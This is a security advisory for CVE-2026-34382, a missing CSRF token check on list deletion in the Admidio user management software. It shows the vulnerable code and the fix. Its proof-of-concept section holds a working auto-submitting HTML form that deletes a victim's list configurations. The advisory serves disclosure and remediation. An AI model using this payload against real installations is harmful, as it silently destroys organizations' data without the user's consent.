CVE-2026-34382: Admidio: Missing CSRF Protection on Custom List Deletion in mylist_function.php
Summary
The delete mode handler in mylistfunction.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
Vulnerable Code File: modules/groups-roles/mylistfunction.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, saveas, and savetemporary modes:
php // Line 81-82 — only runs for save modes $categoryReportConfigForm = $gCurrentSession->getFormObject($POST['admcsrftoken']); if ($POST['admcsrftoken'] !== $categoryReportConfigForm->getCsrfToken()) { throw new Exception('Invalid or missing CSRF token!'); }
<img width="857" height="162" alt="imagen" src="https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d" />
The delete case at lines 159–161 executes the destructive operation with no token check:
php } elseif ($getMode === 'delete') { // delete list configuration $list->delete(); // no CSRF validation echo jsonencode(array('status' => 'success', ...)); exit(); }
<img width="560" height="133" alt="imagen" src="https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69" />
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LASTNAME is sufficient.
Impact
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lstglobal = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
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Proof of Concept
> First my video PoC, after that, the proof of concept with detail.
Watch Video
Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?listuuid=...)
1. Step 1: Attacker serves this page from any HTTP origin:
html <!DOCTYPE html> <html> <body> <form id="f" method="POST" action="http://TARGET/modules/groups-roles/mylistfunction.php?mode=delete&listuuid=TARGETUUID"> <input type="hidden" name="column[]" value="LASTNAME"> </form> <script>document.getElementById('f').submit();</script> </body> </html>
> Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
2. Step 2: Victim visits the attacker page while logged into Admidio. 3. Step 3: Server responds immediately:
json {"status":"success","url":".../modules/groups-roles/mylist.php"}
4. Step 4: List is permanently deleted. Verified via: sql SELECT lstname FROM admlists WHERE lstuuid='TARGETUUID'; -- Empty result set > No admcsrftoken field is required anywhere in the request.
Recommendation Fix:
> It's so simple.
Apply the same SecurityUtils::validateCsrfToken() pattern already used in the save modes:
php } elseif ($getMode === 'delete') { SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $list->delete(); echo jsonencode(array('status' => 'success', ...)); exit(); }
Additionally, the column[] input guard at lines 40–48 should be moved inside the inarray($getMode, ['save', 'saveas', 'savetemporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.
<img width="751" height="240" alt="imagen" src="https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8" />
Reported by: Juan Felipe Oz @JF0x0r > LinkedIn
Other sources
Admidio is an open-source user management solution. From version 5.0.0 to before version 5.0.8, the delete mode handler in mylistfunction.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights. This issue has been patched in version 5.0.8.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/admidio/admidioto a version that resolves this vulnerability.Fixed in 5.0.8 - Upgrade
Upgrade
Admidioto a version that resolves this vulnerability.Fixed in 5.0.8 - Configuration
Move/extend the existing CSRF validation so it applies to the `delete` mode handler (lines 159–161) rather than only the `save`, `save_as`, and `save_temporary` modes (lines 81–82).
Admidio (modules/groups-roles/mylist_function.php) CSRF validation for delete mode handler = Validate CSRF token in the `delete` case using SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) (i.e., ensure delete is not executed without CSRF validation).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-34382?
CVE-2026-34382 has been categorized as a medium severity vulnerability due to the potential for unauthorized deletion of list configurations.
How do I fix CVE-2026-34382?
To fix CVE-2026-34382, upgrade Admidio to version 5.0.8 or later to ensure proper CSRF protection is implemented.
What is the impact of CVE-2026-34382?
CVE-2026-34382 allows an attacker to permanently delete list configurations without appropriate authorization, potentially leading to data loss.
Which versions of Admidio are affected by CVE-2026-34382?
CVE-2026-34382 affects Admidio versions from 5.0.0 up to, but not including, 5.0.8.
Is CSRF protection important in Admidio regarding CVE-2026-34382?
Yes, CSRF protection is crucial in Admidio to prevent unauthorized actions, such as unintended deletions of list configurations.